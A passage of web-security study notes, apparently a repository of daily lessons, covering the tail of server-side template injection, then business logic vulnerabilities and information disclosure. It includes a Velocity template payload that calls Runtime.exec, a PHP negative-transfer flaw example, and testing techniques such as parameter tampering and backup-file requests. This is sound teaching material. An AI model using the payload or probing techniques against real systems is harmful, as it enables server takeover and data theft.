by the web developer. You should pay particular attention to these non-standard objects because they are especially likely to contain sensitive information or exploitable methods. As these objects can vary between different templates within the same website, be aware that you might need to study an object's behavior in the context of each distinct template before you find a way to exploit it. 159 | 160 | While server-side template injection can potentially lead to remote code execution and full takeover of the server, in practice this is not always possible to achieve. However, just because you have ruled out remote code execution, that doesn't necessarily mean there is no potential for a different kind of exploit. You can still leverage server-side template injection vulnerabilities for other high-severity exploits, such as directory traversal, to gain access to sensitive data. 161 | ```` 162 | ### Create a custom attack 163 | ```` 164 | So far, we've looked primarily at constructing an attack either by reusing a documented exploit or by using well-known vulnerabilities in a template engine. 165 | However, sometimes you will need to construct a custom exploit. 166 | For example, you might find that the template engine executes templates inside a sandbox, which can make exploitation difficult, or even impossible. 167 | 168 | After identifying the attack surface, if there is no obvious way to exploit the vulnerability, you should proceed with traditional auditing techniques by reviewing each function for exploitable behavior. 169 | By working methodically through this process, you may sometimes be able to construct a complex attack that is even able to exploit more secure targets. 170 | ```` 171 | ### Constructing a custom exploit using an object chain 172 | ```` 173 | As described above, the first step is to identify objects and methods to which you have access. Some of the objects may immediately jump out as interesting. 174 | By combining your own knowledge and the information provided in the documentation, you should be able to put together a shortlist of objects that you want to investigate more thoroughly. 175 | 176 | When studying the documentation for objects, pay particular attention to which methods these objects grant access to, as well as which objects they return. 177 | By drilling down into the documentation, you can discover combinations of objects and methods that you can chain together. Chaining together the right objects and methods sometimes allows you to gain access to dangerous functionality and sensitive data that initially appears out of reach. 178 | 179 | For example, in the Java-based template engine Velocity, you have access to a ClassTool object called $class. Studying the documentation reveals that you can chain the $class.inspect() method and $class.type property to obtain references to arbitrary objects. In the past, this has been exploited to execute shell commands on the target system as follows: 180 | 181 | $class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here") 182 | ```` 183 | ### Constructing a custom exploit using developer-supplied objects 184 | ```` 185 | Some template engines run in a secure, locked-down environment by default in order to mitigate the associated risks as much as possible. 186 | Although this makes it difficult to exploit such templates for remote code execution, developer-created objects that are exposed to the template can offer a further, less battle-hardened attack surface. 187 | 188 | However, while substantial documentation is usually provided for template built-ins, site-specific objects are almost certainly not documented at all. 189 | Therefore, working out how to exploit them will require you to investigate the website's behavior manually to identify the attack surface and construct your own custom exploit accordingly. 190 | ```` 191 | ### How to prevent server-side template injection vulnerabilities 192 | ```` 193 | The best way to prevent server-side template injection is to not allow any users to modify or submit new templates. 194 | However, this is sometimes unavoidable due to business requirements. 195 | 196 | One of the simplest ways to avoid introducing server-side template injection vulnerabilities is to always use a "logic-less" template engine, such as Mustache, unless absolutely necessary. 197 | Separating the logic from presentation as much as possible can greatly reduce your exposure to the most dangerous template-based attacks. 198 | 199 | Another measure is to only execute users' code in a sandboxed environment where potentially dangerous modules and functions have been removed altogether. 200 | Unfortunately, sandboxing untrusted code is inherently difficult and prone to bypasses. 201 | 202 | Finally, another complementary approach is to accept that arbitrary code execution is all but inevitable and apply your own sandboxing by deploying your template environment in a locked-down Docker container, for example 203 | ```` -------------------------------------------------------------------------------- /days/day10.md: -------------------------------------------------------------------------------- 1 | # day10 2 | 3 | ## What are Business Logic Vulnerabilities ? 4 | 5 | ```text 6 | Business logic vulnerabilities are flaws in the design and implementation of an application that allow an attacker to elicit unintended behavior. 7 | This potentially enables attackers to manipulate legitimate functionality to achieve a malicious goal. 8 | These flaws are generally the result of failing to anticipate unusual application states that may occur and, consequently, failing to handle them safely. 9 | 10 | Logic flaws are often invisible to people who aren't explicitly looking for them as they typically won't be exposed by normal use of the application. 11 | However, an attacker may be able to exploit behavioral quirks by interacting with the application in ways that developers never intended. 12 | 13 | One of the main purposes of business logic is to enforce the rules and constraints that were defined when designing the application or functionality. 14 | Broadly speaking, the business rules dictate how the application should react when a given scenario occurs. 15 | This includes preventing users from doing things that will have a negative impact on the business or that simply don't make sense. 16 | 17 | Flaws in the logic can allow attackers to circumvent these rules. 18 | For example, they might be able to complete a transaction without going through the intended purchase workflow. 19 | In other cases, broken or non-existent validation of user-supplied data might allow users to make arbitrary changes to transaction-critical values or submit nonsensical input. 20 | By passing unexpected values into server-side logic, an attacker can potentially induce the application to do something that it isn't supposed to. 21 | 22 | Logic-based vulnerabilities can be extremely diverse and are often unique to the application and its specific functionality. 23 | Identifying them often requires a certain amount of human knowledge, such as an understanding of the business domain or what goals an attacker might have in a given context. 24 | This makes them difficult to detect using automated vulnerability scanners. As a result, logic flaws are a great target for bug bounty hunters and manual testers in general. 25 | ``` 26 | 27 | ## How do business logic vulnerabilities arise ? 28 | 29 | ```text 30 | Business logic vulnerabilities often arise because the design and development teams make flawed assumptions about how users will interact with the application. 31 | These bad assumptions can lead to inadequate validation of user input. 32 | 33 | For example, if the developers assume that users will pass data exclusively via a web browser, the application may rely entirely on weak client-side controls to validate input. 34 | These are easily bypassed by an attacker using an intercepting proxy. 35 | 36 | Ultimately, this means that when an attacker deviates from the expected user behavior, the application fails to take appropriate steps to prevent this and, subsequently, fails to handle the situation safely. 37 | 38 | Logic flaws are particularly common in overly complicated systems that even the development team themselves do not fully understand. 39 | To avoid logic flaws, developers need to understand the application as a whole. 40 | This includes being aware of how different functions can be combined in unexpected ways. Developers working on large code bases may not have an intimate understanding of how all areas of the application work. 41 | Someone working on one component could make flawed assumptions about how another component works and, as a result, inadvertently introduce serious logic flaws. 42 | If the developers do not explicitly document any assumptions that are being made, it is easy for these kinds of vulnerabilities to creep into an application. 43 | ``` 44 | 45 | ## What is the impact of business logic vulnerabilities ? 46 | 47 | ```text 48 | The impact of business logic vulnerabilities can, at times, be fairly trivial. 49 | It is a broad category and the impact is highly variable. 50 | However, any unintended behavior can potentially lead to high-severity attacks if an attacker is able to manipulate the application in the right way. 51 | For this reason, quirky logic should ideally be fixed even if you can't work out how to exploit it yourself. There is always a risk that someone else will be able to. 52 | 53 | Fundamentally, the impact of any logic flaw depends on what functionality it is related to. If the flaw is in the authentication mechanism, for example, this could have a serious impact on your overall security. 54 | Attackers could potentially exploit this for privilege escalation, or to bypass authentication entirely, gaining access to sensitive data and functionality. 55 | This also exposes an increased attack surface for other exploits. 56 | 57 | Flawed logic in financial transactions can obviously lead to massive losses for the business through stolen funds, fraud, and so on. 58 | 59 | You should also note that even though logic flaws may not allow an attacker to benefit directly, they could still allow a malicious party to damage the business in some way. 60 | ``` 61 | 62 | ## How to prevent business logic vulnerabilities 63 | 64 | ```text 65 | The keys to preventing business logic vulnerabilities are to: 66 | 67 | Make sure developers and testers understand the domain that the application serves 68 | Avoid making implicit assumptions about user behavior or the behavior of other parts of the application 69 | You should identify what assumptions you have made about the server-side state and implement the necessary logic to verify that these assumptions are met. 70 | This includes making sure that the value of any input is sensible before proceeding. 71 | 72 | It is also important to make sure that both developers and testers are able to fully understand these assumptions and how the application is supposed to react in different scenarios. 73 | This can help the team to spot logic flaws as early as possible. 74 | 75 | To facilitate this, the development team should adhere to the following best practices wherever possible: 76 | 77 | Maintain clear design documents and data flows for all transactions and workflows, noting any assumptions that are made at each stage. 78 | Write code as clearly as possible. If it's difficult to understand what is supposed to happen, it will be difficult to spot any logic flaws. 79 | Ideally, well-written code shouldn't need documentation to understand it. In unavoidably complex cases, producing clear documentation is crucial to ensure that other developers and testers know what assumptions are being made and exactly what the expected behavior is. 80 | Note any references to other code that uses each component. 81 | Think about any side-effects of these dependencies if a malicious party were to manipulate them in an unusual way. 82 | Due to the relatively unique nature of many logic flaws, it is easy to brush them off as a one-time mistake due to human error and move on. 83 | However, as we've demonstrated, these flaws are often the result of bad practices in the initial phases of building the application. 84 | Analyzing why a logic flaw existed in the first place, and how it was missed by the team, can help you to spot weaknesses in your processes. 85 | By making minor adjustments, you can increase the likelihood that similar flaws will be cut off at the source or caught earlier in the development process. 86 | ``` 87 | 88 | ## Examples of Business Logic Vulnerabilities 89 | 90 | ```text 91 | Business logic vulnerabilities are relatively specific to the context in which they occur. However, although individual instances of logic flaws differ hugely, they can share many common themes. 92 | In particular, they can be loosely grouped based on the initial mistakes that introduced the vulnerability in the first place. 93 | 94 | In this section, we'll look at examples of some typical mistakes that design and development teams make and show you how they can directly lead to business logic flaws. Whether you're developing your own applications, 95 | or auditing existing ones, you can take the lessons learned from these examples and apply the same critical thinking to other applications that you encounter. 96 | 97 | Examples of logic flaws include: 98 | 99 | Excessive trust in client-side controls 100 | Failing to handle unconventional input 101 | Making flawed assumptions about user behavior 102 | Domain-specific flaws 103 | Providing an encryption oracle 104 | ``` 105 | 106 | ## Excessive trust in client-side controls 107 | 108 | ```text 109 | A fundamentally flawed assumption is that users will only interact with the application via the provided web interface. 110 | This is especially dangerous because it leads to the further assumption that client-side validation will prevent users from supplying malicious input. 111 | However, an attacker can simply use tools such as Burp Proxy to tamper with the data after it has been sent by the browser but before it is passed into the server-side logic. 112 | This effectively renders the client-side controls useless. 113 | 114 | Accepting data at face value, without performing proper integrity checks and server-side validation, can allow an attacker to do 115 | all kinds of damage with relatively minimal effort. 116 | Exactly what they are able to achieve is dependent on the functionality and what it is doing with the controllable data. 117 | In the right context, this kind of flaw can have devastating consequences for both business-related functionality and the security of the website itself. 118 | ``` 119 | 120 | ## Failing to handle unconventional input 121 | 122 | ```text 123 | One aim of the application logic is to restrict user input to values that adhere to the business rules. 124 | For example, the application may be designed to accept arbitrary values of a certain data type, but the logic determines whether or not this value is acceptable from the perspective of the business. Many applications incorporate numeric limits into their logic. 125 | This might include limits designed to manage inventory, apply budgetary restrictions, trigger phases of the supply chain, and so on. 126 | 127 | Let's take the simple example of an online shop. When ordering products, users typically specify the quantity that they want to order. 128 | Although any integer is theoretically a valid input, the business logic might prevent users from ordering more units than are currently in stock, for example. 129 | 130 | To implement rules like this, developers need to anticipate all possible scenarios and incorporate ways to handle them into the application logic. 131 | In other words, they need to tell the application whether it should allow a given input and how it should react based on various conditions. 132 | If there is no explicit logic for handling a given case, this can lead to unexpected and potentially exploitable behavior. 133 | 134 | For example, a numeric data type might accept negative values. Depending on the related functionality, it may not make sense for the business logic to allow this. 135 | However, if the application doesn't perform adequate server-side validation and reject this input, an attacker may be able to pass in a negative value and induce unwanted behavior. 136 | 137 | Consider a funds transfer between two bank accounts. This functionality will almost certainly check whether the sender has sufficient funds before completing the transfer: 138 | 139 | $transferAmount = $_POST['amount']; 140 | $currentBalance = $user->getBalance(); 141 | 142 | if ($transferAmount <= $currentBalance) { 143 | // Complete the transfer 144 | } else { 145 | // Block the transfer: insufficient funds 146 | } 147 | 148 | But if the logic doesn't sufficiently prevent users from supplying a negative value in the amount parameter, this could be exploited by an attacker to both bypass the balance check and transfer funds in the "wrong" direction. 149 | If the attacker sent -$1000 to the victim's account, this might result in them receiving $1000 from the victim instead. 150 | The logic would always evaluate that -1000 is less than the current balance and approve the transfer. 151 | 152 | Simple logic flaws like this can be devastating if they occur in the right functionality. They are also easy to miss during both development and testing, especially given that such inputs may be blocked by client-side controls on the web interface. 153 | 154 | When auditing an application, you should use tools such as Burp Proxy and Repeater to try submitting unconventional values. 155 | In particular, try input in ranges that legitimate users are unlikely to ever enter. 156 | This includes exceptionally high or exceptionally low numeric inputs and abnormally long strings for text-based fields. You can even try unexpected data types. 157 | By observing the application's response, you should try and answer the following questions: 158 | 159 | Are there any limits that are imposed on the data? 160 | What happens when you reach those limits? 161 | Is any transformation or normalization being performed on your input? 162 | 163 | This may expose weak input validation that allows you to manipulate the application in unusual ways. Keep in mind that if you find one form on the target website that fails to safely handle unconventional input, it's likely that other forms will have the same issues. 164 | ``` 165 | 166 | ## Making flawed assumptions about user behavior 167 | 168 | ```text 169 | One of the most common root causes of logic vulnerabilities is making flawed assumptions about user behavior. 170 | This can lead to a wide range of issues where developers have not considered potentially dangerous scenarios that violate these assumptions. 171 | In this section, we'll provide some cautionary examples of common assumptions that should be avoided and demonstrate how they can lead to dangerous logic flaws. 172 | ``` 173 | 174 | ### Trusted users won't always remain trustworthy 175 | 176 | ```text 177 | Applications may appear to be secure because they implement seemingly robust measures to enforce the business rules. 178 | Unfortunately, some applications make the mistake of assuming that, having passed these strict controls initially, the user and their data can be trusted indefinitely. 179 | This can result in relatively lax enforcement of the same controls from that point on. 180 | 181 | If business rules and security measures are not applied consistently throughout the application, this can lead to potentially dangerous loopholes that may be exploited by an attacker. 182 | ``` 183 | 184 | ## Users won't always supply mandatory input 185 | 186 | ```text 187 | One misconception is that users will always supply values for mandatory input fields. Browsers may prevent ordinary users from submitting a form without a required input, but as we know, attackers can tamper with parameters in transit. 188 | This even extends to removing parameters entirely. 189 | 190 | This is a particular issue in cases where multiple functions are implemented within the same server-side script. 191 | In this case, the presence or absence of a particular parameter may determine which code is executed. 192 | Removing parameter values may allow an attacker to access code paths that are supposed to be out of reach. 193 | 194 | When probing for logic flaws, you should try removing each parameter in turn and observing what effect this has on the response. You should make sure to: 195 | 196 | Only remove one parameter at a time to ensure all relevant code paths are reached. 197 | Try deleting the name of the parameter as well as the value. The server will typically handle both cases differently. 198 | Follow multi-stage processes through to completion. Sometimes tampering with a parameter in one step will have an effect on another step further along in the workflow. 199 | This applies to both URL and POST parameters, but don't forget to check the cookies too. This simple process can reveal some bizarre application behavior that may be exploitable. 200 | ``` 201 | 202 | ## Users won't always follow the intended sequence 203 | 204 | ```text 205 | Many transactions rely on predefined workflows consisting of a sequence of steps. 206 | The web interface will typically guide users through this process, taking them to the next step of the workflow each time they complete the current one. 207 | However, attackers won't necessarily adhere to this intended sequence. 208 | Failing to account for this possibility can lead to dangerous flaws that may be relatively simple to exploit. 209 | 210 | For example, many websites that implement two-factor authentication (2FA) require users to log in on one page before entering a verification code on a separate page. 211 | Assuming that users will always follow this process through to completion and, as a result, not verifying that they do, may allow attackers to bypass the 2FA step entirely. 212 | 213 | Making assumptions about the sequence of events can lead to a wide range of issues even within the same workflow or functionality. 214 | Using tools like Burp Proxy and Repeater, once an attacker has seen a request, they can replay it at will and use forced browsing to perform any interactions with the server in any order they want. 215 | This allows them to complete different actions while the application is in an unexpected state. 216 | 217 | To identify these kinds of flaws, you should use forced browsing to submit requests in an unintended sequence. For example, you might skip certain steps, access a single step more than once, return to earlier steps, and so on. 218 | Take note of how different steps are accessed. 219 | Although you often just submit a GET or POST request to a specific URL, sometimes you can access steps by submitting different sets of parameters to the same URL. 220 | As with all logic flaws, try to identify what assumptions the developers have made and where the attack surface lies. You can then look for ways of violating these assumptions. 221 | 222 | Note that this kind of testing will often cause exceptions because expected variables have null or uninitialized values. 223 | Arriving at a location in a partly defined or inconsistent state is also likely to cause the application to complain. In this case, be sure to pay close attention to any error messages or debug information that you encounter. 224 | These can be a valuable source of information disclosure, which can help you fine-tune your attack and understand key details about the back-end behavior. 225 | ``` 226 | 227 | ## Domain-specific flaws 228 | 229 | ```text 230 | In many cases, you will encounter logic flaws that are specific to the business domain or the purpose of the site. 231 | 232 | The discounting functionality of online shops is a classic attack surface when hunting for logic flaws. 233 | This can be a potential gold mine for an attacker, with all kinds of basic logic flaws occurring in the way discounts are applied. 234 | 235 | For example, consider an online shop that offers a 10% discount on orders over $1000. This could be vulnerable to abuse if the business logic fails to check whether the order was changed after the discount is applied. 236 | In this case, an attacker could simply add items to their cart until they hit the $1000 threshold, then remove the items they don't want before placing the order. 237 | They would then receive the discount on their order even though it no longer satisfies the intended criteria. 238 | 239 | You should pay particular attention to any situation where prices or other sensitive values are adjusted based on criteria determined by user actions. 240 | Try to understand what algorithms the application uses to make these adjustments and at what point these adjustments are made. 241 | This often involves manipulating the application so that it is in a state where the applied adjustments do not correspond to the original criteria intended by the developers. 242 | 243 | To identify these vulnerabilities, you need to think carefully about what objectives an attacker might have and try to find different ways of achieving this using the provided functionality. 244 | This may require a certain level of domain-specific knowledge in order to understand what might be advantageous in a given context. To use a simple example, you need to understand social media to understand the benefits of forcing a large number of users to follow you. 245 | 246 | Without this knowledge of the domain, you may dismiss dangerous behavior because you simply aren't aware of its potential knock-on effects. Likewise, you may struggle to join the dots and notice how two functions can be combined in a harmful way. 247 | For simplicity, the examples used in this topic are specific to a domain that all users will already be familiar with, namely an online shop. 248 | However, whether you're bug bounty hunting, pentesting, or even just a developer trying to write more secure code, you may at some point encounter applications from less familiar domains. 249 | In this case, you should read as much documentation as possible and, where available, talk to subject-matter experts from the domain to get their insight. This may sound like a lot of work, but the more obscure the domain is, the more likely other testers will have missed plenty of bugs. 250 | ``` 251 | 252 | ## Providing an encryption oracle 253 | 254 | ```text 255 | Dangerous scenarios can occur when user-controllable input is encrypted and the resulting ciphertext is then made available to the user in some way. 256 | This kind of input is sometimes known as an "encryption oracle". An attacker can use this input to encrypt arbitrary data using the correct algorithm and asymmetric key. 257 | 258 | This becomes dangerous when there are other user-controllable inputs in the application that expect data encrypted with the same algorithm. 259 | In this case, an attacker could potentially use the encryption oracle to generate valid, encrypted input and then pass it into other sensitive functions. 260 | 261 | This issue can be compounded if there is another user-controllable input on the site that provides the reverse function. 262 | This would enable the attacker to decrypt other data to identify the expected structure. This saves them some of the work involved in creating their malicious data but is not necessarily required to craft a successful exploit. 263 | 264 | The severity of an encryption oracle depends on what functionality also uses the same algorithm as the oracle. 265 | ``` 266 | 267 | -------------------------------------------------------------------------------- /days/day11.md: -------------------------------------------------------------------------------- 1 | # day11 2 | 3 | ## What is information disclosure ? 4 | 5 | ```text 6 | Information disclosure, also known as information leakage, is when a website unintentionally reveals sensitive information to its users. 7 | Depending on the context, websites may leak all kinds of information to a potential attacker, including: 8 | 9 | Data about other users, such as usernames or financial information 10 | Sensitive commercial or business data 11 | Technical details about the website and its infrastructure 12 | The dangers of leaking sensitive user or business data are fairly obvious, but disclosing technical information can sometimes be just as serious. 13 | Although some of this information will be of limited use, it can potentially be a starting point for exposing an additional attack surface, which may contain other interesting vulnerabilities. 14 | The knowledge that you are able to gather could even provide the missing piece of the puzzle when trying to construct complex, high-severity attacks. 15 | 16 | Occasionally, sensitive information might be carelessly leaked to users who are simply browsing the website in a normal fashion. 17 | More commonly, however, an attacker needs to elicit the information disclosure by interacting with the website in unexpected or malicious ways. 18 | They will then carefully study the website's responses to try and identify interesting behavior. 19 | ``` 20 | 21 | ## What are some examples of information disclosure ? 22 | 23 | ```text 24 | Some basic examples of information disclosure are as follows: 25 | 26 | * Revealing the names of hidden directories, their structure, and their contents via a robots.txt file or directory listing 27 | * Providing access to source code files via temporary backups 28 | * Explicitly mentioning database table or column names in error messages 29 | * Unnecessarily exposing highly sensitive information, such as credit card details 30 | * Hard-coding API keys, IP addresses, database credentials, and so on in the source code 31 | * Hinting at the existence or absence of resources, usernames, and so on via subtle differences in application behavior 32 | ``` 33 | 34 | ## How do information disclosure vulnerabilities arise ? 35 | 36 | ```text 37 | Information disclosure vulnerabilities can arise in countless different ways, but these can broadly be categorized as follows: 38 | 39 | Failure to remove internal content from public content. 40 | For example, developer comments in markup are sometimes visible to users in the production environment. 41 | Insecure configuration of the website and related technologies. 42 | For example, failing to disable debugging and diagnostic features can sometimes provide attackers with useful tools to help them obtain sensitive information. 43 | Default configurations can also leave websites vulnerable, for example, by displaying overly verbose error messages. 44 | Flawed design and behavior of the application. 45 | For example, if a website returns distinct responses when different error states occur, this can also allow attackers to enumerate sensitive data, such as valid user credentials 46 | ``` 47 | 48 | ## What is the impact of information disclosure vulenerabilities ? 49 | 50 | ```text 51 | Information disclosure vulnerabilities can have both a direct and indirect impact depending on the purpose of the website and, therefore, what information an attacker is able to obtain. 52 | In some cases, the act of disclosing sensitive information alone can have a high impact on the affected parties. For example, an online shop leaking its customers' credit card details is likely to have severe consequences. 53 | 54 | On the other hand, leaking technical information, such as the directory structure or which third-party frameworks are being used, may have little to no direct impact. 55 | However, in the wrong hands, this could be the key information required to construct any number of other exploits. 56 | The severity in this case depends on what the attacker is able to do with this information. 57 | ``` 58 | 59 | ## How to assess the severity of information disclosure vulnerabilities 60 | 61 | ```text 62 | Although the ultimate impact can potentially be very severe, it is only in specific circumstances that information disclosure is a high-severity issue on its own. 63 | During testing, the disclosure of technical information in particular is often only of interest if you are able to demonstrate how an attacker could do something harmful with it. 64 | 65 | For example, the knowledge that a website is using a particular framework version is of limited use if that version is fully patched. 66 | However, this information becomes significant when the website is using an old version that contains a known vulnerability. 67 | In this case, performing a devastating attack could be as simple as applying a publicly documented exploit. 68 | 69 | It is important to exercise common sense when you find that potentially sensitive information is being leaked. 70 | It is likely that minor technical details can be discovered in numerous ways on many of the websites you test. 71 | Therefore, your main focus should be on the impact and exploitability of the leaked information, not just the presence of information disclosure as a standalone issue. 72 | The obvious exception to this is when the leaked information is so sensitive that it warrants attention in its own right. 73 | ``` 74 | 75 | ## How to test for information disclosure vulnerabilities 76 | 77 | ```text 78 | Generally speaking, it is important not to develop "tunnel vision" during testing. In other words, you should avoid focussing too narrowly on a particular vulnerability. Sensitive data can be leaked in all kinds of places, so it is important not to miss anything that could be useful later. You will often find sensitive data while testing for something else. A key skill is being able to recognize interesting information whenever and wherever you do come across it. 79 | 80 | The following are some examples of high-level techniques and tools that you can use to help identify information disclosure vulnerabilities during testing. 81 | 82 | Fuzzing 83 | Using Burp Scanner 84 | Using Burp's engagement tools 85 | Engineering informative responses 86 | 87 | We can also look for Information Disclosure Vulnerabilities using Google Dorks and GitHub Recon 88 | 89 | Recources for Google Dorks - https://www.exploit-db.com/google-hacking-database 90 | ``` 91 | 92 | ## Fuzzing 93 | 94 | ```text 95 | If you identify interesting parameters, you can try submitting unexpected data types and specially crafted fuzz strings to see what effect this has. 96 | Pay close attention; although responses sometimes explicitly disclose interesting information, they can also hint at the application's behavior more subtly. 97 | For example, this could be a slight difference in the time taken to process the request. Even if the content of an error message doesn't disclose anything, sometimes the fact that one error case was encountered instead of another one is useful information in itself. 98 | 99 | You can automate much of this process using tools such as Burp Intruder. 100 | This provides several benefits. Most notably, you can: 101 | 102 | Add payload positions to parameters and use pre-built wordlists of fuzz strings to test a high volume of different inputs in quick succession. 103 | Easily identify differences in responses by comparing HTTP status codes, response times, lengths, and so on. 104 | Use grep matching rules to quickly identify occurrences of keywords, such as error, invalid, SELECT, SQL, and so on. 105 | Apply grep extraction rules to extract and compare the content of interesting items within responses. 106 | You can also use the Logger++ extension, available from the BApp store. 107 | In addition to logging requests and responses from all of Burp's tools, it allows you to define advanced filters for highlighting interesting entries. 108 | This is just one of the many Burp extensions that can help you find any sensitive data that is leaked by the website. 109 | ``` 110 | 111 | ## Using Burp Scanner 112 | 113 | ```text 114 | Burp Suite Professional users have the benefit of Burp Scanner. 115 | This provides live scanning features for auditing items while you browse, or you can schedule automated scans to crawl and audit the target site on your behalf. 116 | Both approaches will automatically flag many information disclosure vulnerabilities for you. 117 | For example, Burp Scanner will alert you if it finds sensitive information such as private keys, email addresses, and credit card numbers in a response. 118 | It will also identify any backup files, directory listings, and so on. 119 | ``` 120 | 121 | ### Using Burp's engagement tools 122 | 123 | ```text 124 | Burp provides several engagement tools that you can use to find interesting information in the target website more easily. 125 | You can access the engagement tools from the context menu - just right-click on any HTTP message, Burp Proxy entry, or item in the site map and go to "Engagement tools". 126 | 127 | The following tools are particularly useful in this context 128 | ``` 129 | 130 | ### Search 131 | 132 | ```text 133 | You can use this tool to look for any expression within the selected item. 134 | You can fine-tune the results using various advanced search options, such as regex search or negative search. 135 | This is useful for quickly finding occurrences (or absences) of specific keywords of interest. 136 | ``` 137 | 138 | ### Find comments 139 | 140 | ```text 141 | You can use this tool to quickly extract any developer comments found in the selected item. It also provides tabs to instantly access the HTTP request/response cycle in which each comment was found. 142 | ``` 143 | 144 | ### Discover content 145 | 146 | ```text 147 | You can use this tool to identify additional content and functionality that is not linked from the website's visible content. 148 | This can be useful for finding additional directories and files that won't necessarily appear in the site map automatically. 149 | ``` 150 | 151 | ## Engineering informative responses 152 | 153 | ```text 154 | Verbose error messages can sometimes disclose interesting information while you go about your normal testing workflow. 155 | However, by studying the way error messages change according to your input, you can take this one step further. In some cases, you will be able to manipulate the website in order to extract arbitrary data via an error message. 156 | 157 | There are numerous methods for doing this depending on the particular scenario you encounter. 158 | One common example is to make the application logic attempt an invalid action on a specific item of data. 159 | For example, submitting an invalid parameter value might lead to a stack trace or debug response that contains interesting details. 160 | You can sometimes cause error messages to disclose the value of your desired data in the response. 161 | ``` 162 | 163 | ## Common sources of information disclosure 164 | 165 | ```text 166 | Information disclosure can occur in a wide variety of contexts within a website. The following are some common examples of places where you can look to see if sensitive information is exposed. 167 | 168 | Files for web crawlers 169 | Directory listings 170 | Developer comments 171 | Error messages 172 | Debugging data 173 | User account pages 174 | Backup files 175 | Insecure configuration 176 | Version control history 177 | ``` 178 | 179 | ## Files for web crawlers 180 | 181 | ```text 182 | Many websites provide files at /robots.txt and /sitemap.xml to help crawlers navigate their site. 183 | Among other things, these files often list specific directories that the crawlers should skip, for example, because they may contain sensitive information. 184 | 185 | As these files are not usually linked from within the website, they may not immediately appear in Burp's site map. 186 | However, it is worth trying to navigate to /robots.txt or /sitemap.xml manually to see if you find anything of use. 187 | ``` 188 | 189 | ## Directory listings 190 | 191 | ```text 192 | Web servers can be configured to automatically list the contents of directories that do not have an index page present. 193 | This can aid an attacker by enabling them to quickly identify the resources at a given path, and proceed directly to analyzing and attacking those resources. 194 | It particularly increases the exposure of sensitive files within the directory that are not intended to be accessible to users, such as temporary files and crash dumps. 195 | 196 | Directory listings themselves are not necessarily a security vulnerability. 197 | However, if the website also fails to implement proper access control, leaking the existence and location of sensitive resources in this way is clearly an issue. 198 | ``` 199 | 200 | ## Developer comments 201 | 202 | ```text 203 | During development, in-line HTML comments are sometimes added to the markup. These comments are typically stripped before changes are deployed to the production environment. 204 | However, comments can sometimes be forgotten, missed, or even left in deliberately because someone wasn't fully aware of the security implications. 205 | Although these comments are not visible on the rendered page, they can easily be accessed using Burp, or even your browser's built-in developer tools. 206 | 207 | Occasionally, these comments contain information that is useful to an attacker. 208 | For example, they might hint at the existence of hidden directories or provide clues about the application logic. 209 | ``` 210 | 211 | ## Error messages 212 | 213 | ```text 214 | One of the most common causes of information disclosure is verbose error messages. 215 | As a general rule, you should pay close attention to all error messages you encounter during auditing. 216 | 217 | The content of error messages can reveal information about what input or data type is expected from a given parameter. 218 | This can help you to narrow down your attack by identifying exploitable parameters. 219 | It may even just prevent you from wasting time trying to inject payloads that simply won't work. 220 | 221 | Verbose error messages can also provide information about different technologies being used by the website. 222 | For example, they might explicitly name a template engine, database type, or server that the website is using, along with its version number. 223 | This information can be useful because you can easily search for any documented exploits that may exist for this version. 224 | Similarly, you can check whether there are any common configuration errors or dangerous default settings that you may be able to exploit. 225 | Some of these may be highlighted in the official documentation. 226 | 227 | You might also discover that the website is using some kind of open-source framework. 228 | In this case, you can study the publicly available source code, which is an invaluable resource for constructing your own exploits. 229 | 230 | Differences between error messages can also reveal different application behavior that is occurring behind the scenes. 231 | Observing differences in error messages is a crucial aspect of many techniques, such as SQL injection, username enumeration, and so on. 232 | ``` 233 | 234 | ## Debugging data 235 | 236 | ```text 237 | For debugging purposes, many websites generate custom error messages and logs that contain large amounts of information about the application's behavior. 238 | While this information is useful during development, it is also extremely useful to an attacker if it is leaked in the production environment. 239 | 240 | Debug messages can sometimes contain vital information for developing an attack, including: 241 | 242 | Values for key session variables that can be manipulated via user input 243 | Hostnames and credentials for back-end components 244 | File and directory names on the server 245 | Keys used to encrypt data transmitted via the client 246 | Debugging information may sometimes be logged in a separate file. If an attacker is able to gain access to this file, it can serve as a useful reference for understanding the application's runtime state. It can also provide several clues as to how they can supply crafted input to manipulate the application state and control the information received. 247 | ``` 248 | 249 | ## User account pages 250 | 251 | ```text 252 | By their very nature, a user's profile or account page usually contains sensitive information, such as the user's email address, phone number, API key, and so on. 253 | As users normally only have access to their own account page, this does not represent a vulnerability in itself. 254 | However, some websites contain logic flaws that potentially allow an attacker to leverage these pages in order to view other users' data. 255 | 256 | For example, consider a website that determines which user's account page to load based on a user parameter. 257 | 258 | GET /user/personal-info?user=carlos 259 | 260 | Most websites will take steps to prevent an attacker from simply changing this parameter to access arbitrary users' account pages. 261 | However, sometimes the logic for loading individual items of data is not as robust. 262 | 263 | An attacker may not be able to load another users' account page entirely, but the logic for fetching and rendering the user's registered email address, for example, might not check that the user parameter matches the user that is currently logged in. 264 | In this case, simply changing the user parameter would allow an attacker to display arbitrary users' email addresses on their own account page. 265 | ``` 266 | 267 | ## Source code disclosure via backup files 268 | 269 | ```text 270 | Obtaining source code access makes it much easier for an attacker to understand the application's behavior and construct high-severity attacks. Sensitive data is sometimes even hard-coded within the source code. Typical examples of this include API keys and credentials for accessing back-end components. 271 | 272 | If you can identify that a particular open-source technology is being used, this provides easy access to a limited amount of source code. 273 | 274 | Occasionally, it is even possible to cause the website to expose its own source code. When mapping out a website, you might find that some source code files are referenced explicitly. Unfortunately, requesting them does not usually reveal the code itself. When a server handles files with a particular extension, such as .php, it will typically execute the code, rather than simply sending it to the client as text. However, in some situations, you can trick a website into returning the contents of the file instead. For example, text editors often generate temporary backup files while the original file is being edited. These temporary files are usually indicated in some way, such as by appending a tilde (~) to the filename or adding a different file extension. Requesting a code file using a backup file extension can sometimes allow you to read the contents of the file in the response. 275 | Once an attacker has access to the source code, this can be a huge step towards being able to identify and exploit additional vulnerabilities that would otherwise be almost impossible. One such example is insecure deserialization. 276 | ``` 277 | 278 | ## Information disclosure due to insecure configuration 279 | 280 | ```text 281 | Websites are sometimes vulnerable as a result of improper configuration. 282 | This is especially common due to the widespread use of third-party technologies, whose vast array of configuration options are not necessarily well-understood by those implementing them. 283 | 284 | In other cases, developers might forget to disable various debugging options in the production environment. 285 | For example, the HTTP TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the TRACE method by echoing in the response the exact request that was received. 286 | This behavior is often harmless, but occasionally leads to information disclosure, such as the name of internal authentication headers that may be appended to requests by reverse proxies. 287 | ``` 288 | 289 | ## Version control history 